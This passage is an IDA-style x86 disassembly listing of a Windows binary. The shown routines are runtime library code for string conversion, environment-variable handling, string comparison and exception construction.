		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41DDD1
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41DDD1
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DDA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41DDA0:				; CODE XREF: sub_41DB68+224j
		cmp	edi, ebx
		jz	short loc_41DDD1
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41DDD1
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41F008
		jmp	short loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DDD1:				; CODE XREF: sub_41DB68+63j
					; sub_41DB68+C6j ...
		xor	eax, eax


loc_41DDD3:				; CODE XREF: sub_41DB68+BFj
					; sub_41DB68+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDE5	proc near		; CODE XREF: sub_41DA84+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41DE49
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41E02B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41DE49
		cmp	[ebp+arg_0], esi
		jz	short loc_41DE49
		mov	eax, dword_742254
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_742258
		jnz	short loc_41DE2F
		push	eax
		call	sub_41DFC4
		pop	ecx
		mov	dword_742254, eax


loc_41DE2F:				; CODE XREF: sub_41DDE5+3Cj
		cmp	eax, edi
		jnz	short loc_41DE87
		cmp	[ebp+arg_4], edi
		jz	short loc_41DE51
		cmp	dword_74225C, edi
		jz	short loc_41DE51
		call	sub_41DA84
		test	eax, eax
		jz	short loc_41DE87


loc_41DE49:				; CODE XREF: sub_41DDE5+Dj
					; sub_41DDE5+22j ...
		or	eax, 0FFFFFFFFh


loc_41DE4C:				; CODE XREF: sub_41DDE5+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DE51:				; CODE XREF: sub_41DDE5+51j
					; sub_41DDE5+59j
		cmp	ebx, edi
		jnz	loc_41DF65
		push	4
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	dword_742254, eax
		jz	short loc_41DE49
		mov	[eax], edi
		cmp	dword_74225C, edi
		jnz	short loc_41DE87
		push	4
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	dword_74225C, eax
		jz	short loc_41DE49
		mov	[eax], edi


loc_41DE87:				; CODE XREF: sub_41DDE5+4Cj
					; sub_41DDE5+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_742254
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41DF6C
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41DEE7
		cmp	dword ptr [edi], 0
		jz	short loc_41DEE7
		test	ebx, ebx
		jz	short loc_41DEDF
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_413F7F
		pop	ecx


loc_41DEB9:				; CODE XREF: sub_41DDE5+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41DEC9
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41DEB9
; ---------------------------------------------------------------------------


loc_41DEC9:				; CODE XREF: sub_41DDE5+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4157BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41DF19
		jmp	short loc_41DF14
; ---------------------------------------------------------------------------


loc_41DEDF:				; CODE XREF: sub_41DDE5+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41DF19
; ---------------------------------------------------------------------------


loc_41DEE7:				; CODE XREF: sub_41DDE5+BDj
					; sub_41DDE5+C2j
		test	ebx, ebx
		jnz	short loc_41DF65
		test	esi, esi
		jge	short loc_41DEF1
		neg	esi


loc_41DEF1:				; CODE XREF: sub_41DDE5+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4157BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41DE49
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41DF14:				; CODE XREF: sub_41DDE5+F8j
		mov	dword_742254, eax


loc_41DF19:				; CODE XREF: sub_41DDE5+F6j
					; sub_41DDE5+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41DF65
		push	[ebp+arg_0]
		call	sub_413E90
		inc	eax
		inc	eax
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41DF65
		push	[ebp+arg_0]
		push	esi
		call	sub_414FB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	ds:off_41F004
		push	esi
		call	sub_413F7F
		pop	ecx


loc_41DF65:				; CODE XREF: sub_41DDE5+6Ej
					; sub_41DDE5+104j ...
		xor	eax, eax
		jmp	loc_41DE4C
sub_41DDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF6C	proc near		; CODE XREF: sub_41DDE5+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_742254
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41DFA7
		mov	edi, [esp+8+arg_4]


loc_41DF7E:				; CODE XREF: sub_41DF6C+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41DA45
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DF9D
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41DFB7
		test	al, al
		jz	short loc_41DFB7


loc_41DF9D:				; CODE XREF: sub_41DF6C+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41DF7E


loc_41DFA7:				; CODE XREF: sub_41DF6C+Cj
		mov	eax, esi
		sub	eax, dword_742254
		sar	eax, 2
		neg	eax


loc_41DFB4:				; CODE XREF: sub_41DF6C+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFB7:				; CODE XREF: sub_41DF6C+2Bj
					; sub_41DF6C+2Fj
		mov	eax, esi
		sub	eax, dword_742254
		sar	eax, 2
		jmp	short loc_41DFB4
sub_41DF6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DFC4	proc near		; CODE XREF: sub_41DDE5+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41DFD3
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41DFD3:				; CODE XREF: sub_41DFC4+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41DFE5


loc_41DFDB:				; CODE XREF: sub_41DFC4+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41DFDB


loc_41DFE5:				; CODE XREF: sub_41DFC4+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41E006
		push	9
		call	sub_415F07
		pop	ecx


loc_41E006:				; CODE XREF: sub_41DFC4+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41E00A:				; CODE XREF: sub_41DFC4+5Bj
		test	eax, eax
		jz	short loc_41E021
		push	eax
		add	ebx, 4
		call	sub_41E09E
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41E00A
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41DFC4+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41DFC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E02B	proc near		; CODE XREF: sub_41DDE5+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_74365C, 0
		jnz	short loc_41E046
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415BA0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41E02B+Aj
		mov	ecx, [ebp+arg_0]


loc_41E049:				; CODE XREF: sub_41E02B+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41E08C
		movzx	edx, al
		test	byte_743761[edx], 4
		jz	short loc_41E078
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41E083
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41E087
		jmp	short loc_41E080
; ---------------------------------------------------------------------------


loc_41E078:				; CODE XREF: sub_41E02B+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41E08C


loc_41E080:				; CODE XREF: sub_41E02B+4Bj
		inc	ecx
		jmp	short loc_41E049
; ---------------------------------------------------------------------------


loc_41E083:				; CODE XREF: sub_41E02B+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E087:				; CODE XREF: sub_41E02B+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41E02B+25j
					; sub_41E02B+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41E02B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E09E	proc near		; CODE XREF: sub_408296+21p
					; sub_41DFC4+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41E0C5
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_413F0B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41E0C5
		push	esi
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E0C5:				; CODE XREF: sub_41E09E+7j
					; sub_41E09E+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41E09E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0D0	proc near		; CODE XREF: sub_40315F+15p
					; sub_4031B8+15p ...
		mov	eax, offset loc_41E65C
		call	sub_41459C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403362
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40339E
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41E12A
		lea	eax, [ebp-3Ch]
		push	offset dword_41FF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC34
		call	sub_41E5C3
		pop	esi
sub_41E0D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E12A	proc near		; CODE XREF: sub_41E0D0+3Fp
					; sub_41E2FC+3Fp
		mov	eax, offset loc_41E670
		call	sub_41459C
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438A10
		call	sub_41E4E8
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_403362
		push	ds:dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40320F
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41E12A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E18E	proc near		; DATA XREF: zugr1819:0041FC38o
					; zugr1819:0041FC58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41E19A
		mov	eax, offset dword_41F250

locret_41E19A:				; CODE XREF: sub_41E18E+5j
		retn
sub_41E18E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E19B	proc near		; DATA XREF: zugr1819:0041FC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E211
		lea	eax, [ebp+var_1C]
		push	offset dword_41FFE8
		push	eax
		call	sub_41E5C3
sub_41E19B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E1B8	proc near		; CODE XREF: .text:0041E1F8p
					; DATA XREF: zugr1819:0041FFECo
		mov	eax, offset loc_41E684
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E1B8	endp

; ---------------------------------------------------------------------------


loc_41E1F5:				; DATA XREF: zugr1819:off_41FC54o
		push	esi
		mov	esi, ecx
		call	sub_41E1B8
		test	byte ptr [esp+8], 1
		jz	short loc_41E20B
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E20B:				; CODE XREF: .text:0041E202j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41E211	proc near		; CODE XREF: sub_41E19B+Ap
					; sub_41E2E4+7p ...
		mov	eax, offset loc_41E698
		call	sub_41459C
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41E525
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_403362
		push	ds:dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40320F
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41E211	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E26E	proc near		; CODE XREF: sub_41E2AB+20p
					; DATA XREF: zugr1819:0041FF7Co
		mov	eax, offset loc_41E6AC
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2AB	proc near		; DATA XREF: zugr1819:0041FC3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E2E4
		lea	eax, [ebp+var_1C]
		push	offset dword_41FF78
		push	eax
		call	sub_41E5C3


loc_41E2C8:				; DATA XREF: zugr1819:off_41FC34o
		push	esi
		mov	esi, ecx
		call	sub_41E26E
		test	[esp+20h+var_18], 1
		jz	short loc_41E2DE
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E2DE:				; CODE XREF: sub_41E2AB+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E2AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E2E4	proc near		; CODE XREF: sub_41E2AB+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41E211
		mov	dword ptr [esi], offset	off_41FC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41E2E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2FC	proc near		; CODE XREF: sub_40320F+13p
					; sub_4033D3+Ep
		mov	eax, offset loc_41E6C0
		call	sub_41459C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403362
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40339E
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41E12A
		lea	eax, [ebp-3Ch]
		push	offset dword_4200A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC64
		call	sub_41E5C3
		pop	esi
sub_41E2FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E356	proc near		; CODE XREF: sub_41E393+20p
					; DATA XREF: zugr1819:004200A4o
		mov	eax, offset loc_41E6D4
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E393	proc near		; DATA XREF: zugr1819:0041FC6Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E3CC
		lea	eax, [ebp+var_1C]
		push	offset dword_4200A0
		push	eax
		call	sub_41E5C3


loc_41E3B0:				; DATA XREF: zugr1819:off_41FC64o
		push	esi
		mov	esi, ecx
		call	sub_41E356
		test	[esp+20h+var_18], 1
		jz	short loc_41E3C6
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E3C6:				; CODE XREF: sub_41E393+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E393	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E3CC	proc near		; CODE XREF: sub_41E393+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41E211
		mov	dword ptr [esi], offset	off_41FC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41E3CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E4	proc near		; DATA XREF: .data:00421008o

; FUNCTION CHUNK AT 0041E41A SIZE 0000000C BYTES

		test	byte_742518, 1
		jnz	short loc_41E3F4
		or	byte_742518, 1


loc_41E3F4:				; CODE XREF: sub_41E3E4+7j
		call	sub_41E40E
		test	byte_743898, 1
		jnz	short loc_41E409
		or	byte_743898, 1


loc_41E409:				; CODE XREF: sub_41E3E4+1Cj
		jmp	loc_41E41A
sub_41E3E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E40E	proc near		; CODE XREF: sub_41E3E4:loc_41E3F4p
		push	offset nullsub_260
		call	sub_414980
		pop	ecx
		retn
sub_41E40E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E3E4


loc_41E41A:				; CODE XREF: sub_41E3E4:loc_41E409j
		push	offset nullsub_260
		call	sub_414980
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41E3E4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E428	proc near		; CODE XREF: sub_402AAF+5Ep
					; sub_4041D7+159p
		jmp	ds:dword_41F1D8
sub_41E428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E42E	proc near		; CODE XREF: sub_414208+23p
					; sub_4144AC+13p
		jmp	ds:off_41F14C
sub_41E42E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E440	proc near		; CODE XREF: sub_403C2B+18Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_7422AC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41E493
		mov	al, 0FFh
		mov	edi, edi


loc_41E45C:				; CODE XREF: sub_41E440+28j
					; sub_41E440+48j
		or	al, al
		jz	short loc_41E48E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41E45C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41E45C
		sbb	al, al
		sbb	al, 0FFh


loc_41E48E:				; CODE XREF: sub_41E440+1Ej
		movsx	eax, al
		jmp	short loc_41E4C7
; ---------------------------------------------------------------------------


loc_41E493:				; CODE XREF: sub_41E440+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41E49C:				; CODE XREF: sub_41E440+68j
					; sub_41E440+80j
		or	al, al
		jz	short loc_41E4C7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41E49C
		push	eax
		push	ebx
		call	sub_415467
		mov	ebx, eax
		add	esp, 4
		call	sub_415467
		add	esp, 4
		cmp	bl, al
		jz	short loc_41E49C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41E4C7:				; CODE XREF: sub_41E440+51j
					; sub_41E440+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41E440	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4CC	proc near		; DATA XREF: zugr1819:off_41FC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41E56F
		test	[esp+4+arg_0], 1
		jz	short loc_41E4E2
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E4E2:				; CODE XREF: sub_41E4CC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E4CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4E8	proc near		; CODE XREF: sub_41E12A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		push	dword ptr [edi]
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_414905
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E517
		push	dword ptr [edi]
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_41E517:				; CODE XREF: sub_41E4E8+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E525	proc near		; CODE XREF: sub_41E211+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41E562
		push	dword ptr [edi+4]
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_414905
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E568
		push	dword ptr [edi+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx
		jmp	short loc_41E568
; ---------------------------------------------------------------------------


loc_41E562:				; CODE XREF: sub_41E525+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41E568:				; CODE XREF: sub_41E525+2Ej
					; sub_41E525+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E525	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E56F	proc near		; CODE XREF: sub_41E1B8+2Bp
					; sub_41E26E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41FC8C
		jz	short locret_41E584
		push	dword ptr [ecx+4]
		call	sub_4145BB
		pop	ecx

locret_41E584:				; CODE XREF: sub_41E56F+Aj
		retn
sub_41E56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E585	proc near		; DATA XREF: zugr1819:0041FC90o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41E591
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41E591:				; CODE XREF: sub_41E585+5j
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E592	proc near		; CODE XREF: .text:0041E5AAp
		mov	dword ptr [ecx], offset	off_41FCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41E5A6
		push	ecx
		call	sub_413F7F
		pop	ecx

locret_41E5A6:				; CODE XREF: sub_41E592+Bj
		retn
sub_41E592	endp

; ---------------------------------------------------------------------------


loc_41E5A7:				; DATA XREF: zugr1819:off_41FCACo
		push	esi
		mov	esi, ecx
		call	sub_41E592
		test	byte ptr [esp+8], 1
		jz	short loc_41E5BD
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E5BD:				; CODE XREF: .text:0041E5B4j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5C3	proc near		; CODE XREF: sub_41E0D0+54p
					; sub_41E19B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41FCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:off_41F17C
		pop	edi
		pop	esi
		leave
		retn	8
sub_41E5C3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E600	proc near		; DATA XREF: zugr1819:0041FE7Co

; FUNCTION CHUNK AT 00403157 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_403157
sub_41E600	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41E61E
		mov	ecx, [ebp+8]
		jmp	loc_403157
; ---------------------------------------------------------------------------

locret_41E61E:				; CODE XREF: .text:0041E610j
		retn
; ---------------------------------------------------------------------------


loc_41E61F:				; DATA XREF: sub_402CEBo
		mov	eax, offset dword_41FE50
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
